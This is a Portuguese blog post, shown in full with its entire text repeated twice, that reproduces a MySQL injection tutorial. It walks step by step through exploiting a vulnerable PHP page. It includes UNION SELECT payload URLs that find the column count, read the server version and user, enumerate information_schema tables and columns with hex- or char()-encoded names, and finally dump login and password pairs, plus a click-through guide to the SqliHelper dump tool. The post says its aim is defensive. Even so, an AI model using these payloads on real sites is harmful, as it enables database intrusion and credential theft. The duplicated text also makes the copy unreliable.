O objetivo do post é apenas mostrar o perigo de um script que permite a exploração dessa falha.
Acredito que muita gente se preocupa mais com a manipulação da string de SQL quando se trata de uma tela de login, onde o usuário digita seu login e senha para ter acesso a uma área restrita de um sistema.
Porém o problema pode ser muito mais grave, do que permitir o acesso a uma área restrita. Um exemplo seria esse mesmo sistema de produtos ou de blog, que receba por GET/POST qual produto mostrar ou qual post o leitor irá visualizar. Se essa string recebida puder ser manipulada um grande estrago pode ser feito. Acho que todos já sabem disso e já leram em diversos lugares.
Mas aqui o objetivo é mostrar como realmente fazer isso e também mostrar uma ferramente que automatiza isso, com o intuito de você testar suas urls para verificar a presença desse tipo de falha.
O código que será postado é um exemplo de um script COM FALHA.
A explicação que você vai ler abaixo foi tirado do site:
[ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]
A ferramenta na qual falei que faz isso de forma automática é a "SqliHelper", que você pode enconrar nesse site: http://reiluke.i.ph/
Aqui segue um passo-a-passo como utilizar a ferramenta:
Onde tem target coloque esse link: http://localhost/index?mes=12&ano=2009
Click em cada um dos botões, um de cada vez:
Inject => Vai testar se o site eh vulneravel
Get Database => Vai aparecer os nomes dos bancos no servidor
Get Tables => Vai mostrar as tabelas do banco de dados q vc selecionou
Get Columns => Vai mostrar as colunas da tabela q vc escolheu
Agora Selecione todos os campos da tabela e por ultimo click em: Dump Now
Você verá que caso uma tabela que contenha senhas, e essas senhas não for criptografada, o invasor terá TODAS as senhas. É importante que você sempre guarde as senhas no banco de forma criptograda, dessa forma mesmo que um usuário tenha acesso as senhas ele não conseguirá ler.
Existe um post no site que fala exatamente como criar uma senha criptografada de forma SEGURA!
http://www.codigopronto.com.br/codigo-ler/7/gera-um-hash-com-salt-aleatorio
----------------------------------------------------------------------
[Tutorial] MySQL Injection [ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]
Então , como muitos sabem uma das falhas de programação web mais encontrada na internet é de banco de dados SQL .
O que posso dizer é que para explorar não necessita de um tipo especifico de requisição ( Post ou Get ) .
Portanto vamos ao tutorial :
Antes de mais nada não é necessariamente necessario algum erro de consulta para saber se esta realmente vul , e sim sua interpretação…
Erros de consultas no mysql_error() para possivelmente vuls , por exemplo :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/renan/public_html/noticias.php on line 211
&
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1
No caso ah erro na consulta , mas não siginifica que em todos sites estaram mostrando .
Muitos dizem que só é possivel explorar caso lhe retorne algum erro , mas nem sempre é necessario…
$id = $_GET;
$q = "SELECT * FROM informativos WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>
#################################################
Vamos a pratica :
Se adicionarmos no final de um string uma simples aspas ela ira modificar a syntax retornando algum daqueles erros acima ou não modificaria a pagina.
Nossa query de consulta com aspas no fim da string de um site seria:
SELECT * FROM informativos WHERE id = '3''
Achando Colunas
Voce pode usar duas formas de achar as colunas , por “order by” ou “union+all+select+” .
No caso de “order by” voce fica procurando até aparecer o erro ” unknown column ‘5? in ‘order clause’ ” .
Ja no ” union+all+select+ ” voce adicionaria o numero de strings que representa a qtd de colunas daquele query .
Exemplo
Aqui temos um site onde a quantidade de colunas nos retornara umas string na pagina .
www.site.com.br/informativos.php?id=3+union+all+select+1 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5 strings de ex 2,3 e 4
Mas em outros sites voce com esse mesmo tipo de consulta as colunas o erro seria :
” The used SELECT statements have a different number of columns “
——————————————————————–
Informações do host
version() => versão do MySQL
database() => nome do banco de dados da query
user() ou system_user() => usuario do banco de dados
now() => hora e data atual
Exemplo:
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,version(),5
5.0.54-log
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,database(),5
renan
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,user(),5
[email protected]
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,now(),5
2009-08-28 23:19:41
——————————————————————–
Achando Tabelas
Para se achar as colunas acho facil e voce ira compreender meu raciocineo.
Por exemplo voce poderia usar metodo de chute( brute ) de tabelas ou Dumpea-las , mas quando usa-las ?
A nossa resposta é de que versões anteriores do MySQL abaixo de 5.x.y não se pode dumpear então seria por chute , só que versões acima ou ela mesmo voce utiliza o metodo
de achar as colunas por meio de information_schema ( dumpear ) .
concat concatenar = colocar em ordem
group_concat() => busca tudo o que deseja juntamente com caracters em hexadecimal
concat() => busca o que deseja juntamente com caracters em hexadecimal
concat_ws() => une
-> No caso de chute ( brute ) voce utilizaria ” +from+ :
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5+from+Renan
Se não houver a tabela de nome “Renan” ira nos retornar o erro ” Table ‘database.renan’ doesn’t exist “
Se houver nos retornaria a pagina com as mesmas strings de achado as colunas .
-> No caso de Dumpear :
Temos 2 jeitos bem faceis que voce pode escolher.
=====—————————————————-=====
1º Metodo:
Nesse metodo as tabelas estam em hexadecimal.
renan_usuarios 0x72656e616e5f7573756172696f73
Temos então um site onde queremos pegar todas as tabelas .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(table_name),5
+from+information_schema.tables where table_schema=database()--
Retornaria-nos as seguintes tabelas postas na pagina :
adm_area,amado_agenda_fotos,amado_cadastros,amado_fotos,amado_usuarios,site_mp3,site_testemunhe,etc.
Comandos:
group_concat(table_name)
+from+information_schema.tables+where+table_schema=database()--
Agora temos de encontrar as colunas de uma determinada tabela .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(column_name),5
+from+information_schema.columns+where+table_name=0x72656e616e5f7573756172696f73
Retornaria-nos as seguintes colunas postas na pagina de uma tabela :
id,login,senha,email,status
Comandos:
group_concat(column_name)
+from+information_schema.column+where+table_schema=database()--
=====—————————————————-=====
2º Metodo:
Nesse metodo as tabelas estam em decadecimal
Usaremos o limit que funcionara para selecionar as linhas conforme o database
+limit+0,1–
+limit+1,2–
+limit+2,1–
+limit+3,2–
+limit+4,3–
etc…
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(table_name),5
+from+information_schema.tables+limit+0,1--
Retornaria-nos a seguinte tabelas posta na pagina :
CHARACTER_SETS
Para poder achar as tabelas de logins voce alternaria o limit como acima.
Comandos:
concat(table_name)
+from+information_schema.tables+limit+0,1--
renan_usuarios char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(column_name),5
+from+information_schema.columns where table_name=
char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)+limit+0,1--
Retornaria-nos a seguinte coluna posta na pagina de uma tabela :
id
Para poder achar as colunas da tabela voce alternaria o limit como acima.
Comandos:
concat(column_name)
+from+information_schema.columns where table_name=char(tabela_em_decimal)+limit+0,1–
e por fim mostrando os dados de logins
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,
concat(login,0x20,senha),5+from+renan_usuarios
Acredito que muita gente se preocupa mais com a manipulação da string de SQL quando se trata de uma tela de login, onde o usuário digita seu login e senha para ter acesso a uma área restrita de um sistema.
Porém o problema pode ser muito mais grave, do que permitir o acesso a uma área restrita. Um exemplo seria esse mesmo sistema de produtos ou de blog, que receba por GET/POST qual produto mostrar ou qual post o leitor irá visualizar. Se essa string recebida puder ser manipulada um grande estrago pode ser feito. Acho que todos já sabem disso e já leram em diversos lugares.
Mas aqui o objetivo é mostrar como realmente fazer isso e também mostrar uma ferramente que automatiza isso, com o intuito de você testar suas urls para verificar a presença desse tipo de falha.
O código que será postado é um exemplo de um script COM FALHA.
A explicação que você vai ler abaixo foi tirado do site:
[ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]
A ferramenta na qual falei que faz isso de forma automática é a "SqliHelper", que você pode enconrar nesse site: http://reiluke.i.ph/
Aqui segue um passo-a-passo como utilizar a ferramenta:
Onde tem target coloque esse link: http://localhost/index?mes=12&ano=2009
Click em cada um dos botões, um de cada vez:
Inject => Vai testar se o site eh vulneravel
Get Database => Vai aparecer os nomes dos bancos no servidor
Get Tables => Vai mostrar as tabelas do banco de dados q vc selecionou
Get Columns => Vai mostrar as colunas da tabela q vc escolheu
Agora Selecione todos os campos da tabela e por ultimo click em: Dump Now
Você verá que caso uma tabela que contenha senhas, e essas senhas não for criptografada, o invasor terá TODAS as senhas. É importante que você sempre guarde as senhas no banco de forma criptograda, dessa forma mesmo que um usuário tenha acesso as senhas ele não conseguirá ler.
Existe um post no site que fala exatamente como criar uma senha criptografada de forma SEGURA!
http://www.codigopronto.com.br/codigo-ler/7/gera-um-hash-com-salt-aleatorio
----------------------------------------------------------------------
[Tutorial] MySQL Injection [ http://wordsecurity.wordpress.com/2009/12/16/tutorial-mysql-injection/ ]
Então , como muitos sabem uma das falhas de programação web mais encontrada na internet é de banco de dados SQL .
O que posso dizer é que para explorar não necessita de um tipo especifico de requisição ( Post ou Get ) .
Portanto vamos ao tutorial :
Antes de mais nada não é necessariamente necessario algum erro de consulta para saber se esta realmente vul , e sim sua interpretação…
Erros de consultas no mysql_error() para possivelmente vuls , por exemplo :
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/renan/public_html/noticias.php on line 211
&
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘” at line 1
No caso ah erro na consulta , mas não siginifica que em todos sites estaram mostrando .
Muitos dizem que só é possivel explorar caso lhe retorne algum erro , mas nem sempre é necessario…
$id = $_GET;
$q = "SELECT * FROM informativos WHERE id = '$id'";
$r = mysql_query($q) or die(mysql_error());
?>
#################################################
Vamos a pratica :
Se adicionarmos no final de um string uma simples aspas ela ira modificar a syntax retornando algum daqueles erros acima ou não modificaria a pagina.
Nossa query de consulta com aspas no fim da string de um site seria:
SELECT * FROM informativos WHERE id = '3''
Achando Colunas
Voce pode usar duas formas de achar as colunas , por “order by” ou “union+all+select+” .
No caso de “order by” voce fica procurando até aparecer o erro ” unknown column ‘5? in ‘order clause’ ” .
Ja no ” union+all+select+ ” voce adicionaria o numero de strings que representa a qtd de colunas daquele query .
Exemplo
Aqui temos um site onde a quantidade de colunas nos retornara umas string na pagina .
www.site.com.br/informativos.php?id=3+union+all+select+1 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4 Nada
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5 strings de ex 2,3 e 4
Mas em outros sites voce com esse mesmo tipo de consulta as colunas o erro seria :
” The used SELECT statements have a different number of columns “
——————————————————————–
Informações do host
version() => versão do MySQL
database() => nome do banco de dados da query
user() ou system_user() => usuario do banco de dados
now() => hora e data atual
Exemplo:
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,version(),5
5.0.54-log
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,database(),5
renan
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,user(),5
[email protected]
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,now(),5
2009-08-28 23:19:41
——————————————————————–
Achando Tabelas
Para se achar as colunas acho facil e voce ira compreender meu raciocineo.
Por exemplo voce poderia usar metodo de chute( brute ) de tabelas ou Dumpea-las , mas quando usa-las ?
A nossa resposta é de que versões anteriores do MySQL abaixo de 5.x.y não se pode dumpear então seria por chute , só que versões acima ou ela mesmo voce utiliza o metodo
de achar as colunas por meio de information_schema ( dumpear ) .
concat concatenar = colocar em ordem
group_concat() => busca tudo o que deseja juntamente com caracters em hexadecimal
concat() => busca o que deseja juntamente com caracters em hexadecimal
concat_ws() => une
-> No caso de chute ( brute ) voce utilizaria ” +from+ :
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,4,5+from+Renan
Se não houver a tabela de nome “Renan” ira nos retornar o erro ” Table ‘database.renan’ doesn’t exist “
Se houver nos retornaria a pagina com as mesmas strings de achado as colunas .
-> No caso de Dumpear :
Temos 2 jeitos bem faceis que voce pode escolher.
=====—————————————————-=====
1º Metodo:
Nesse metodo as tabelas estam em hexadecimal.
renan_usuarios 0x72656e616e5f7573756172696f73
Temos então um site onde queremos pegar todas as tabelas .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(table_name),5
+from+information_schema.tables where table_schema=database()--
Retornaria-nos as seguintes tabelas postas na pagina :
adm_area,amado_agenda_fotos,amado_cadastros,amado_fotos,amado_usuarios,site_mp3,site_testemunhe,etc.
Comandos:
group_concat(table_name)
+from+information_schema.tables+where+table_schema=database()--
Agora temos de encontrar as colunas de uma determinada tabela .
www.site.com.br/informativos.php?id=null+union+all+select+1,2,3,group_concat(column_name),5
+from+information_schema.columns+where+table_name=0x72656e616e5f7573756172696f73
Retornaria-nos as seguintes colunas postas na pagina de uma tabela :
id,login,senha,email,status
Comandos:
group_concat(column_name)
+from+information_schema.column+where+table_schema=database()--
=====—————————————————-=====
2º Metodo:
Nesse metodo as tabelas estam em decadecimal
Usaremos o limit que funcionara para selecionar as linhas conforme o database
+limit+0,1–
+limit+1,2–
+limit+2,1–
+limit+3,2–
+limit+4,3–
etc…
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(table_name),5
+from+information_schema.tables+limit+0,1--
Retornaria-nos a seguinte tabelas posta na pagina :
CHARACTER_SETS
Para poder achar as tabelas de logins voce alternaria o limit como acima.
Comandos:
concat(table_name)
+from+information_schema.tables+limit+0,1--
renan_usuarios char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,concat(column_name),5
+from+information_schema.columns where table_name=
char(114,101,110,97,110,95,117,115,117,97,114,105,111,115)+limit+0,1--
Retornaria-nos a seguinte coluna posta na pagina de uma tabela :
id
Para poder achar as colunas da tabela voce alternaria o limit como acima.
Comandos:
concat(column_name)
+from+information_schema.columns where table_name=char(tabela_em_decimal)+limit+0,1–
e por fim mostrando os dados de logins
www.site.com.br/informativos.php?id=3+union+all+select+1,2,3,
concat(login,0x20,senha),5+from+renan_usuarios
Fonte:http://www.codigopronto.com.br/